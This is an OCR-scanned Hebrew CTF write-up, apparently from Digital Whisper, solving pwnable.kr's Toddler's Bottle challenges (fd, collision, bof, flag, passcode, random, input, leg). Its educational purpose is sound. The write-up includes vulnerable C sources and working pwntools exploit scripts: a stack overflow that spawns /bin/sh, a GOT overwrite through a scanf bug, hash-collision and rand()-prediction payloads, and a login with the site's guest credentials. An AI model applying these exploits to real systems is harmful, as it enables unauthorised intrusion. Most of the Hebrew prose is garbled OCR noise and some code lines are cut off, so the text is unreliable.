"X 770 |INNO - Toddler’s Bottle

AXTNY 1TV RN

0x00

ANX DX DNDN DRIN 720 ONKR binary exploitation-2 712ya DNPOYNN IX D'POYNN DNX DX
N'0'01 2N NNINN DIIIAN DMANK NNWY 117 XN N7 NKR."72K219" 1112021 IX pwhnable.kr pnanxn

D2V IRYNIY NIMMMK NIY2IN NnTaw nn Ty

ninn .toddler's bottle-n ,ANKXA IWXRIN section-7 "7W NIINNSNI NA'WNN T DX A'YX N7 1NKN2

.N"YY "D YIN binary exploitation-n D71¥2 0"0'02 D'UD0IF A'XNY? X' 17X DMANN

’0'"7'nNn 'X

low NIDW 77011 binary exploitation-7 IWzn 722 '09X VT 7 NN MWD INKT7 'MOWN 'Y 91N
DMIT D'-ctf 7w NNINN9I D7 DR DTV .DMANKD 7¢ avwyn 1D N 'Y Llevel
:0Y 197 X127 'RTI MY T '97 X .(pwnable.tw, pwnable.xyz, picoCTF)

C-anaiv nmaninamd .1

("leg" "anNYT ' X7 ARM-2 VT DA) Assembly x86 7w n1an .2

Pwntools Nn*0n NX 107 Y7in qoina,[in'o1 0'uo o amd7? nyT17? .3

Binary 7V liveoverflow 7w arorn naToa 72non%? DMANKN NN YO N y'7an X L9011

.Exploitation


https://docs.pwntools.com/en/stable/
https://youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&si=IDSslnCupBnDBuyy
https://youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&si=IDSslnCupBnDBuyy
https://youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&si=IDSslnCupBnDBuyy

Technologic

:UNNYI DDAV D'

,)'70N 2277 'woKn GDB .0''7nn AR 17 command-line 001an 1aRA'T - (GNU DeBugger) GDB o
TP N2>'ONn) Disassembling vIx'a ,0M007N1 [N2'TN IR Y71 NI9YY? L,yan 1'7nNn? "annny
NIR¥YN] DTN 27¢7 NYT7 )0X¥aw NITRon .(Breakpoints) N'xY NITIRI NAXN L(*72n0K7 mdn
.0'XAN 0'9 T

21 ,(C T7 NN NX 17 ) 0'¥ap? Decompile NIWYY 210 Mtvaw ") - IDA (free) o

.NTIIN7 MY'P - DIHAN D'YIN'Y NQYN TIVI subviews M 70 function tree NIXAY

FD - Ox01

S2'nn IND N7 IWURIN NANRN

“Mommy! what is a file descriptor in Linux?”

Afile descriptor Nt NN 207 N0 IXIA,NADN7 1ANNIYW 1197 TIVIL117 IANDW NN DX IRPY INKYT
> N7WONN NdwN T Y 1"NNT7 N (identifier) ninm 1900 Xin fd nnxpa I file descriptor
ax' 0 TWKD .ANRNNA stdin, stdout, stderr - 2,1 ,0 021 Dan 0'-fd-n .02INI DT IR Y2I7 A7

19010 NRMP7 .ARNAW AX'NM 2-1 079 ax' 1, (wnnwnn T¥n 0777 N9XN Ndwnn) V7P

:N2N 12TN DX NRA s -la XN NKY ;NN 1anna nyd

.pwntools-cache
fd

fd.c

flag

[("DMaAnKN 727 gnivn nn" NNIdN NNNIXY) 12'9'YY 1N 72nY Nk
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www.DigitalWhisper.co.il
2 2024 yn ,159 |i'7a



https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf
https://hex-rays.com/ida-free/#download
https://hex-rays.com/ida-free/#download
https://hex-rays.com/ida-free/#download
https://hex-rays.com/ida-free/#download
https://hex-rays.com/ida-free/#download
https://www.computerhope.com/jargon/f/file-descriptor.htm#std

lude <«

1clude <
buf[32];
main( argc,
1f(argc<2

printf

H

fd = atoi( argv[1l
len = 0;
len = read(fd, buf,
f(!strcmp("LETMEWI!
printf
system
exit(0);

printf
return 0;

NX7 ,0'M2 32 nirnY (buffer) yxIND NX DMYTAaN main NYZIID 197 .AWIY TIPN NN an? no1 INIA
NN 1P WM .07 D1AM0NNIN DNIVNI9N DR N7APN main D NR1I PN

0N9 RN DYDY NP DXV WK ,N'YZ1197 1010INY DIUNI9N NIND NX 1910 - intarge .1
.1012INY DNVNION 702 NX NITNNN WN1 [oNRNA - [Ichar* argy .2

TN MANKY '0171 X7,0"N2N0N DINWNAN NIR A¥'N - char* envp .3

0777N1 NT'N1) int-7 101191 11012NY TVNION D INK .V NYPEAN N'DINNY NIRYYT [N DN NKRY
70X IR TR L0777 N7apn NN 0-7 nnw fd AWROW 1man nNax L(0-7 nuw ' wn PN K7
' YXINDL NTNALLYXIND JINY7 M7 N1 ™) 0-7 nnw fd-1 nTMaw Fan? [N 91027 ?INIX 09X7

TN NR 77 ™) "LETMEWIN"-7 717w

,1234x0 190NN NK 17 10NIDNN DNONNY DRI T2 AW 7DN01 ?fd IR 09X7 N1 'K, Va0
NN N'¥PI97 AND7 2211 ™) 09RN' fd-n ,NTN 190NN NX 0007 XN NIWYYT 11'79Y Nn 70w yne)

XY

NI NIWY7? "NnY '
fd nanwnn NX 09X7 NTNIXN7 .1

JLETMEWIN” DR 1272 nT7 vanw Anx? - .2

O9IX' KINI,NNAY 72771 int-7 INIX 1™ TWND ,X7W |amd ?TIay' "0x1234" 10n193 01007 DNO DXN

4660 72721 "X T? Y TORNN W IR 1N DY
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NV NINT Y¥27 Nom

aTn

mommy! | think | know what a file descriptor is!!

;pwntools N'"MD0N NIYXNANA [IN'9] NT NX YNNI ,X2N MANK7 DAY 1INIRY 1197 yad ,Nyd

sh = ssh(user="fd", password="guest", host="pwnable.kr", port=2222)

p = sh.process(executable="./fd", argv=['fd',

p.sendline("LET %)

p.interactive()

flag-n nx nN72'7 No Daw NxNI1 YN

collision - 0x02

NN A7V

“Daddy told me about cool MID5 hash collision today. | wanna do something like that too!”

YN wnn? 1710 77'nw ynwa .ayn ?nt 7w (collision) niwainn mix Nt nn ?md>5 hash Nt nn

NIEN? 2'nma 1N Imixa
:Hash nt nn "an7n 7'nma

(17w N7 D720 'R OWUXD) DYION YT Yalp D'NRI? DA n71Y9 X' - (hash) aiaa neypno
LN NI0IYS DY7'N] WK YIA7IY IR D0 NTNNN RIN (NN 0790 ,0%22190 NI 117V 0'7'vonl
N"¥119 N7'722W N2'ON ?NTA TNI'M NN TX .YIAP NINA U797 INIX NDOINE AT 7D NNPIT N'Y7190
721N X7 N'¥2190 7w 1079 007 XN OX NI TN N19¥N XD D XD NXIDI N'YIN'Y D 72 X' a1

JNANd NN Ny T

P'ON 7w NN DR XNP? y'mn Hash Collison Yjzwal 17w n'win'win ,hash 7y noon nxMp?

NWIM 'Y'ANTI0dYX 'Tal 7IR'uop
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https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf

D'21>' 11NN ,D'079 W N722M NINDI D07 W NIMNWOKX QI01'K W' TWUND MY 2NN ¥ ,NYd
NX "M PDar vImn 0YR? DNT DN 1YY ARXINNY V7 RIXNY Jhash-n DR U7 ATh DIXA

.J0wnn
MY

ring.n>
hashcode = 0x21DDO9EC;
check password (
*)p;

res=0;
(i=0; i<5; i++
res += ip[i];

return res;

main( argc,
f(argc<2)
printf("u e : % [passcode]\n", argv[0]);
-eturn 0;

if(strlen(argv([1l]) != 20
printf("passcode len
return 0;

1t}

f(hashcode == check password( argv([1]
system flag");

0'1DN7 7LVXIY '11,72TN NX 117 0'9TNY 25 NIYY? Y'an? 12'7VY NNVNI main N'¥19 7V 75N0)
20 7¥ IR (N'¥j197 IRMIPN DXY RIN [IYRIN D 1'TA) WD 10N19N WK ,0M0N19 1Y NINDY
2V check_password n"¥j19 7w NX¥INY hashcode Dwa yiap nInwn niiwn XN Pn JNK7 .0'MN2

.N7w0N9n

hash 7w VIYD 210 WNN% NoIN T7'NW TAN7 TWON .nWIY check_password N'¥j21190 nn |'2n'? no1l
D'V'A¥N YN XL int-7 p IR MN NID - TAY KIDC)'R 207 D01 ,TNN] NYY'Y INRY 1IND
NYNN NKX DJI0 res NINYNN )2 INK YN IWRIN 12'RN KIN P IWRD ip NINWNN NNN (pointers)
17U 09PN IR NN DYZA9N N NIVIYD D'7'A .AXIND TN Lip-2 DIYRIN DNANRD
D"'7NX'TOZNN DDA NX NN TXI1,0'NA 4 AN NNK )2 TYUKXD NHY NN UnNY IR Npon

.DNIX NNdI0I D'MXTY?
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N N ,20*"1" 110150 D N

y W

LR IR I

U
OB +0IYYY +OAY +03IYY +OIYI

U
84530744 835 307441 + 825 302441 +825 307441 + 85 3074l
(]

\4
4,124,531 265

.("mxT7? " hashcode) 568,134,124 nI'n'7 MK '910n0 0790 ,N7NNNYT 9I0NN N277 NOMN IXIA TX

INAKRN N 9011 NIRWN NINELNLNAYT INIR 72V1 AWWXD ,wnn] hashcode-n NX 7707 non

hashcode = 568134124
numl = hashcode // 5

num2 = hashcode - (numl * 4)
4 print{((f"numl: {numl}, num2: {num2}"))

2IMd1 .2numl1*4 + num LVIYS D' 7Y payload-n .113626828 = 2numl = 113626824, num
:0'RNN VD70
from pwn import *

sh = ssh(user='col", wnable.kr', port=2222, password='guest
numl = 113626824

num2 = 113626828

payload = p32(numl) * 4 + p32(num2)
p = sh.process(executable='./col', argv=['col', payload])
8 p.interactive()

:flag-n nx N7

daddy! | just managed to create a hash collision :)
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bof - 0x03

"Nana told me that buffer overflow is one of the most common software vulnerability. Is that
true?"

AWNN NYDINY 02 NXLVANNN NIDN DR XN (buffer overflow, bof) y¥xIn nw'2a 197" 197

1007 22100 TR INIKWRA VT NI (Yxmn) Avnnn |N2'Ta AITX? NAND

JINNUA? DM ' X790 DIIN MwniLYXIND N7 yinn 78 yTnnn pn "yt pn aryimn
:090117N0 NIX |22 T2 NI TIPN 7V 75N0)

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
func ( key){
overflowme[32];
printf("overflow me
gets(overflowme) ;
if(key == Oxcafebabe) {
system("/bin/sh");
else{

printf("Nah..\n");

main ( argc, r* argv[]){
func(Oxdeadbeef) ;
return 0;

50 0'121 DX Yynwn ,N'7xX 0'1DN7 NIY 0DWY NIZIAA NA'¥N X7 gets N'¥71190 27172 N'yan nn
,overflowme NX X7y WNXY .32-7 77901 "Tam XInw nnnY? |'pn a0t TIpn overflowme-7 NIMIX

.N'¥119] DINWAN IRY 7V D2 DN INXR7E(NNTAN NAInd) bsp-n 7 017w% 751

7371w 71> ,0xcafebabe-7 "unN19N MR NNWYI,16 MW7 yan? N'xn7? X'N NTH AR 1N17W nonn

?0NT7 700X 0N NND YT 'R .ATN DX
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-1 'NINN NTW D'2'an X T ,Oxcafebabe-7 ebp+8 nilwn XN ,q10nn 7'nNa .Nianionn NNIWA 75N01

C-7 NT DX DY DX ,NAIX'N D'YA197 DRIP K'Y DRI DT 197 NNR NIY .func 7w 0770 N1 8+ebp

.gets-7 0121 (eax-2 MNWW) D'MWYIN 1INIXY V7PN VAW .puts NTY wN17 ‘701

AW DIPNYT Y'AN7 "T2 ,NNIX NRT .ebp-44 IX ebp-0x2c-7 nilw 17w VPNY 2% D'WIAI NIY TIV N7V

offset-n ynwn .0'Ipnn DMVONT7 WYY NIBSOINN "W NIX 112Y7 10X Oxcafebabe aIMdY7 701

from pwn port *

shell =
offset = 52

payload = '\x01'
shell.sendline(payload)
shell.sendline('cat
shell.interactive()

* offset +

remote('pwnable.kr',9000)

'"\xbe\xba\xfe\xca'

flag')

.(4448) 52 XIN AT NN

:01UD VOO ['2N7 NI 77 KON

aTn

daddy, | just pwned a buFFer :)

Toddler’s Bottle - X p?n |INNa’
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2Technoloqgic

flag - 0x04

“Papa brought me a packed present! let's open it. This is reversing task. all you need is binary”

N2'MdA IX 'R) NNIX 01217 Y 1 packed X'nw nann 1172y [ straight-forward T 700 0

NIK DT NN 1) ,(v9"70

D'ON'I-'VIXR *T' 7V |2I0ND NAITA NIFMMA IPNRN TIRN 7V ]A0Y7 'TD wniwn X127 (packer) MiIx

195011 nX"y? 7.nnimi

IX ?yali?7 packing IVX"aw D'WTIY/DIRXIN 1INIX Y'X ,01277 D'7'NNNIida IR D'NNID 1INIRY 1197 TIY

SN 17 W NITNNN QTR 21722 1K1, (strings) NITIMNNA 101N 7Y DIYA NIRTD NN ?m T 7y

:Yal72 NITINNNA DX NN9]I ida-2 Yalzn NX NN9)

view -> Open subviews -> Strings:

Address Length Type String

& LOAD:000000.. 00000018 "12Wr%W345%Wr%67x!Wr892
LOAD:000000.. 00000010 C [fupx.sf.net $\n
LOAD:000000.. 0000000E C proc/self/exe

:12'72V 9TVINN [9T9TA NN 2'NWA ,url NT AWAY AN 7'awa 2'90n NITNNAN 72V §1on Van

the Ultimate Packer for eXecutables

View source on GitHub Download latest release

Welcome

UPX is a free, secure, portable, extendable, high-performance executable packer for several
executable formats.

Introduction

UPX is an advanced executable file compressor. UPX will typically reduce the file size of programs
and DLLs by around 50%-70%, thus reducing disk space, network load times, download times and
other distribution and storage costs.

Programs and libraries compressed by UPX are completely self-contained and run exactly as
before, with no runtime or memory penalty for most of the supported formats.

UPX supports a number of different executable formats, including Windows programs and DLLs,
macOS apps and Linux executables.

UPX is free software distributed under the term of the GNU General Public License. Full source code

Toddler’s Bottle - X p7n jnna’
www.DigitalWhisper.co.il
9 2024 yan ,159 jI''a



https://cyberpedia.reasonlabs.com/EN/binary%20packers.html
https://cyberpedia.reasonlabs.com/EN/binary%20packers.html
https://cyberpedia.reasonlabs.com/EN/binary%20packers.html
https://cyberpedia.reasonlabs.com/EN/binary%20packers.html
https://cyberpedia.reasonlabs.com/EN/binary%20packers.html
https://book.hacktricks.xyz/crypto-and-stego/cryptographic-algorithms/unpacking-binaries

NI NND1 .Y'7NNN NIX 1907 'R RIXAYT 117 IR 'YV ,YA170 72V 12 IWNNWNY packer-n NN 1IX¥N

2"70NN DX 1907 N17¥) d- 1UNT9N NNTYA D K¥N1 ,man upx 21N>l 72'N10n

22X ,NITNNN 7W TIRKA 07172 NIMD XY ,NINYN NN NIRY? DITNnnn 7y 70n011 ida-2 wThn NNoa

?NIIYRIN NTINNNN AT NN yvan

Address
.rodata:00000...
.rodata:00000...
-rodata:00000...
-rodata:00000...
.rodata:00000...
-rodata:00000...
-rodata:00000...
.rodata:00000...
-rodata:00000...
-rodata:00000...
.rodata:00000...
-rodata:00000...
-rodata:00000...
.rodata:00000...
-rodata:00000...
-rodata:00000...
.rodata:00000...
-rodata:00000...
-rodata:00000...
.rodata:00000...
-rodata:00000...
-rodata:00000...
.rodata:00000...
-rodata:00000...
-rodata:00000...
.rodata:00000...
-rodata:00000...
-rodata:00000...

al e o PN Y

Length

0000002A
00000034
00000017
0000000D
00000028
0000000A
0000000A
00000035
00000027
0000000D
00000011
0000000D
00000013
00000009
0000001E
0000001E
00000010
00000018
00000009
00000009
00000012
00000019
0000000A
0000001D
0000001D
00000009
00000009
0000000A

OUCVEN O P B

Type

OO OO 000000000000 00000000000

String
UPX...7 sounds like a delivery service :)

| will malloc() and strcpy the flag there. take it.

FATAL: kernel too old\n

[devjurandom

FATAL: cannot determine kernel version\n
[dev/full

[dev/null

cannot set %fs base address for thread-local storage

unexpected reloc type in static binary
cxa_atexit.c

L= ((void *)0)

__hew_exitfn
LIBC_FATAL_STDERR_

[dev/tty

[proc/selffmaps

<heap nr=\"%d\">\n<sizes>\n
<fheap>\n

malloc.c

((p)->size & 0x2)
(p-=prev_size == offset)
<unknown>

malloc: top chunk is corrupt
corrupted double-linked list
TOP_PAD_

PERTURB_

MMAP _MAX_

ACICRIA KA A

72T

UPX...? sounds like a delivery service :)

10
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Technologic

passcode - 0x05

“Mommy told me to make a passcode based login system. My initial C code was compiled
without any error! Well, there was some compiler warning, but who cares about that?”

:C-N yaIp X NN91 ,NINTpN "2

login(){
passcodel;
t passcode2;

printf 1sscodel :
scanf("%d", passcodel);
fflush :

printf("enter passcode2 :
scanf("%d", passcode2);

printf("checking...\n

if(passcodel==338150 && passcode2==13371337
printf("Login OK!\n
system(" /cat flag"

printf
exit(0);

welcome(){

name[100] ;
printf("enter )
scanf("%100s", name);
printf("Welcome %s!\n", name

main(){
printf("Toddl

welcome();

DNl DTN ,D'VIAP DM90NY7 DNIX NIYNI D'0Y7)7 W NYRAn X'NY ARTAL login Nxj2a19 7y 75N o)

Y IN'7 101 ..." TN LIYD YNW1 227N NX 07270 TX D1ID)

NN NINN? n011 ,compiler warning N3N W'y TAN2 1011, TAW K7 NTY NRM)

Toddler’s Bottle - X p7n jnna’
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Technologic

V7PNY N2 INYY NINYNN RIN L (&passwordn) [N2'T7 NAIND NN VINIATRNY DIPN ?N'YaN NN

JND'T2 NAIMDN NX ANDYN 0'101Y

:GOT N2 771 ,NRT NW7IN 7 NIYNwN 7 n9'0 1IN
NJ'X DN2INDY D'07'"2IX7 D'WY'AXYNA 17200 ,N110IN2 NXXNIN 1720 X' Global Offset Table iXx GOT"
NIDINN 72 DX TAX7 INM0AY N'XY7'9n170 )'70NA [770) 2j73''720 ,N'1DINN DY (AT .NX AT QVIT
NYA7 NYZaNn N'2INN IWXD PNINIX DXT NN ."N1I7XY" D1I¥2 17200 DX X707 AXIT (NNX N'1DIN7
NX N7 1NN GOT-n ,0W N7 N2AIN2NI NT'NA .GOT-N 7X N9 X' ,NVIT NI'X IN2UNDY 07 AIN7?
2/N3'1 NANDN NX XXN',1'A0[7 NX 7'Y9* 17170 ,GOT-2 NANII X7 TIV N2UNIN NTNA X .07 2NN
X7X ,N7nNNN 7V NIvIT NIAINoN 7> X ') Lloading lazy o'Xijz X IT N0'w7? .GOT-2 NNIX
[9IX2 N'12INN NIWO (AT NX N7V IT N0 .71IX¥N NY2A 71 N2NIN DX NZTIAI N'I7XY N1DINN

".NW0N [AT2 N¥YN AT DWIT DI'XY symbols-N 72 NI2IND NX XIXA7 D'DIY X7 X DY ,'Niynen

[opoip N "'y "ret2dlIresolve - NN DTN 1134 |1'73]

NIX NO'STAY NMIYN 7w NaIMdN Dy GOT 7¢ W 72 97N N'7X1 DX D ynwa 0T X 1120 NNX
VTN DIAXR NONKT? NNR D'Y72190 12yn D D'WTI R LA 20T IR NWY1 'R .IN9XN 72T
1INIX TWKD ebp 7 VODIRN NN |21 DX ,7D2 AT INIK IRW! base pointer-n 72X 0101 N10NN]

(]on ANK7 K¥N1 NNIRY) D'IXIN NAINDN DX 0'W7 'Mn 'an? 7211 ,name-7 DAl passcodel-7 D'anp

AN DY N7V 12an? Nan v login-7 disassemble yx1a

.10 XIN VOSDINN NTN NN ,scanf-7 nmIwxIN NNPN [N DNionn NNIYNY 17 0'en
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https://www.digitalwhisper.co.il/files/Zines/0x86/DW134-7-ret2dlresolve.pdf

Technologic r

:name-711aVa

['2 10N7 10X, INIK ONT? Ynwn ,passcodel 7w NTIRI7 Yy anT? Nan '7v .0x70 XIN 09INNY DR XD
.0"Mwn

0x70 - 0x10 = 0x60 = 96

:N720N 72 X 0'9T1 ?YI9177 D'X¥IN 1INIX NAIMND NT'RY7

:N7W NAMdN .passcodel TNXK7? T NX X'V [I'DN DA ,0'woNN NNIRY nn X0 fflush D nx

0x0804a004
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https://reverseengineering.stackexchange.com/questions/23311/dumping-the-got-with-gdb-at-run-time

B Technoloqgic o

‘2TN NN NYTRNY MW 7Y [INDTA DIPNRN DX XIXN7 10N2 login n'¥j21190 Jwnn 7y 75n01

.0x080485e3 NTW NI7j72 NN
“TNNX V907 720 1aM

from pwn import *
sh = ssh(user="p ode', host='pwnable.kr', port=2222, password='guest')

payload = 'A' * 96
payload += '\x04\xa0\x04\;

= sh.process(executable="./p
recv ()
ndline(payload)

sendline(str(int(0x080485e3)))
interactive()

P

p.

p.
p.recv()
p.

p.

aTn

Sorry mom.. | got confused about scanf usage :(
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random - 0x06

'II

“Daddy, teach me how to use random value in programming

TTIRY Y1972 ,1"an?/717n? an D D 'N
#include <stdio.h>

main(){
ran
random = rand();

key=0;
scanf("%d", &key);

key ™ random) == Oxdeadbeef ) {
printf d!'\n
system

return 0;

return

90NN NN9NN 7V () xor y¥an T8I NNSN 1IN'RN Ypan S mim 7V X' XIN,0IYO TIKN TIPN

2210 X 7271 (Oxdeadbeef) yia WY ofiw DNl NN MimIn
MIwY7 D nn

TN X7W D'UPIN MNXD PINA D DAL DAY NITNYORN NIND 7722 DA, K7W Nk ?TIAy! bruteforce

(: 0Q1v D*T7' D NY)

YN NIXR DX VTN rand() N9 KRN 97 :(Jrand N'¥RIION 72V K11 .. TR D' W'Y AR K7
['21 ,n¥1N 702 wTNn seed "NyIT"W srand () N'¥72190 N1DINT7 NOYONINN K71 DTN WTN NxIn '

QOVA NXRO0'ST N'X2I95N DY n7wn NN

#include <std

main(){
] random;

random = rand();

printf("r %d\n", random);

return

RXINNI

‘main’
: implicit declaration of function ‘rand’ [-Wimplicit-function-declaration]

random = 1,804,289,383 = 0x6B8B4567
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https://www.cs.yale.edu/homes/aspnes/pinewiki/C(2f)Randomization.html

ab=c pce YR
CA[):&( 5

Key M random = oxdeadbess
ey OvgbaLUSEF= oxieaﬂaeé
oxg\eai bee§ "0vgbeLUS 67 = Key

;09701 IX

from pwn import *

sh = ssh(user='random', host='pwnable.kr', port=2222, password='guest')
p = sh.process(executable="./ra

num = Oxdeadbeef

b8b4567
key = str(num
p.sendline(key)
p.interactive()

PN

r)

aTn

Mommy, | thought libc random is unpredictable...
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input - 0x07

"Mom? how can | pass my input to a computer program?”

X '73.|7] D"01YWD ,NIn'wn 5-7 ,7'7|nn NINW NX11,C TIPN NX NN9Y .TNNA WA TN NIF W'Y NKN] X7

AT

:1 nan'wn

if(argc != 100) return 0;

if(strcmp(argv['A'],"\x00")) return 0;
if(stremp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

D'PT2 )0 INXK (NDINN DRNP? J2yn) DN0N9 99 TV 9'oInT NNIR 2NN [IWRIN 'RINN
-2 DY 66-n YVNI9NYW D'PTIA DANT 91X L,0-7 nnw (ASCH-A A 7w wn) 65-n N0UNSNY

:wnn ."\x20\x0a\x0ed"

args = [b'A']*100
args[65] = b'\x00'
args[66] = b'\x20\x0a\x0d'

.09"70N NX YN DWNI NN 2y (directory) N'i?'N NN ,0'NTIZ DNANK? T2 ,0Y9NY 17 D'W)
I'N* XD NITIRON 2N 7, (PINM nniy?) 0T NITYY 77 N 07 2 nimv nimpo ynne 721 nod

o nniv
:2 N"n'wn

buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if (memcmp (buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

[P NXRY "\x00\x0a\x00\xff"-7 nqiwnl ,buf-a 0'Nan NyYaIX NX A7NNNA DRI ,NTD 77N
N'DIN7 DXNN2A buf NX ANDWY ?NIWY7 0'D"Mx NNIX NN .fd=2 Dyon 72X 0'NA NY2IX buf-n D'RIR

M NNX .fd X7 AWOX INITYVaY NirYae and w'w fd 7y 0t 1o 7w 911 2% o'wa fd=2-w ninn
| fd 7 | , fd 4 2 v fd=2 7

70X D NX .write-7 TNXI read-7 TNX file descriptors AIT 'TNN os.pipe() ,[IN"92 .pipe XK'
:DMPNNN TNXR 722 1Y AW Nn DX (write) 2mMdY7

read fdl, write fdl os.pipe()
read fd2, write fd2 = os.pipe()

os.write(write endl, b'\x00\x0a\x00\xff')
os.write(write end2, b'\x00\x0a\x02\xff')
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https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors

:3nn'wn

if(strcemp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return ©;
printf("Stage 3 clear!\n");

.Oxbebafeca-7 nuw n'n' Oxefbeadde-7 " Tamw (environment variable) na'aon nInwnw o'wpan

AUPAY NN NN PI'TA NWY) DY ,env AXN{PA 9'01NYT [N ,NRDINY X1j7awd [ straight-forward none

p = process(executable=
stderr=read _end2, env={

4 An'wn

FILE* fp = fopen("\x0a",
if(!fp) return 0;

fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4
fclose(fp);
printf("Stage 4 clear!\n");

NN NIN9Y7 71 1217y .0x00000000-7 131 D'NA NYAIN DHWN PN INKY 1N X1 yalp DNID Tign

:0x00000000 1"7X 2IMDY71 YaIpn

file = open('\x0a', 'w')
file.write('\x00\x00\x00\x00")
file.close()

:5nn'wn

in saddr, caddr;

saddr.sin family = NET;
saddr.sin addr.s addr = IN NY;
saddr.sin port = htons( atoi(argv['C'] -
f(bind(sd, ( o ddr*)&saddr, (saddr)) < 0)
printf("bind ¢ , use another port\n");

I

listen(sd, 1);

Cc = )
cd = accept(sd, . socklen t*
cd < 0){

printf
returr O'
if( recv(cd, buf, 4, 0) != 4

if(memcmp(buf, "\xde\xad\xbe\xef
printf("Stage 5 clear!\n");
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720N DX DIAK DT 7Y (NP7 - DY) D'WON W 21N INT socket ,NI¥pa 121 27wn 199

01197 \xde\xad\xbe\xef NI7WY XN NN'RN D'Wpanw nn 75w 17 0'wl T7nna DX X ,72110n0

117 MY NTY "2 remote NTIZ9] NWNNWNWD bof MaNK2 N'wyw 0902 101N .argv['C']=argv[67]

:09"P0ON XY + WNN 770 I¥N 7

args = ['\x01']*100
args[65] = '\x00
args[66] = '\x20\x0a\xod

read fdl, write fdl = os.pipe()
read fd2, write fd2 = os.pipe()
os.write(write fdl, '\x00\x0a\x00\xff")

os.write(write fd2, '\x00\x0a\x02\xff')

file = open('\x0a', 'w')
file.write('\x00\x00\x00\x00")
file.close()

args[67] = '4444

p = process(executable='/home/input2/input', argv=args,
stderr=read fd2, env={'\xde\xad\xbe\xef' :'\xca\xfe\xba\xbe

r = remote('localhost', int(args[67]))
r.sendline('\xde\xad\xbe\xef"')

p.interactive()

stdin=read fdl,

H)

DWNI /tmp NY7'N7 112V ?0T IR YN N9'RNIYR TR, 770 10T 1D 71000 1IN DR 'Y X7 Va0

A7TN DR 72731 Y2 .yalpn DK 91011 17w DY NND)

72T

Mommy! | learned how to pass various input in Linux :)
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leg - 0x08

“Daddy told me | should study arm. But | prefer to study my leg!”

ARM 1'wdy TIN%7 DdN ANt ntl PNt L(M7'a0"n 86x DIzN1) assembly ARM Dy 1anx 117 nirn? 1710
J212a0 NI712' X TTNAE AT 10N 221 ,0'™712A NND JIN YN0 72X N7 JANRN NIX IN97 TNI
:C-N yaI7 NX NN9)

#include <stdio.h>
ftinclude <fcntl.h>
keyl(){
("mov , pc\n");

key2(){

"pop

/'y

key3(){

"mov

main(){
key=0;
printf("Daddy Ve strong arm!
scanf("%d", &key);
if( (keyl()+key2()+key3()) == key
printf("Congratz!\n");
fd = open("flag”,
buf[le0];
r = read(fd, buf, 100);
write(0, buf, r);

printf("I have strong leg :P\n");

return 0;

N77 NI71y9 190N NIYIY D'NNOAN NYITY IN'R TTINNIY "aionn" TIzn 7y 1IX 117 DD9IY main-1

DN ..ATIM 272270 DX 172 V777 DY NNINSAN DIDOI NT'NA ,NVIAZ DN7Y NRXINN 01707 Wi
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2V 75M01,"72n0KN yalz X NNo) .system("/bin/cat flag") X7 ,0Vu9N NITI NNIX2 NNIX 117 D'RAN
2T N DNIX [V X7 main Yya) ,ninnoenn

(gdb) disass keyl
Dump of assembler code for function keyl:
0x00008cd4 <+0>: g
0x00008cd8 <+4>:
0x00008cdc <+8>:
0x00008ced <+12>:
0x00008ced <+16>: ]
Ox00008ce8 <+20>: por
Ox00008cec <+24>:
End of assembler dump.

¢ N2IMdN 2V yra¥n pc 100N ,ARM-1 .0x00008cdc nIwA pe 7w wn NN 17 DYITNNY Y10
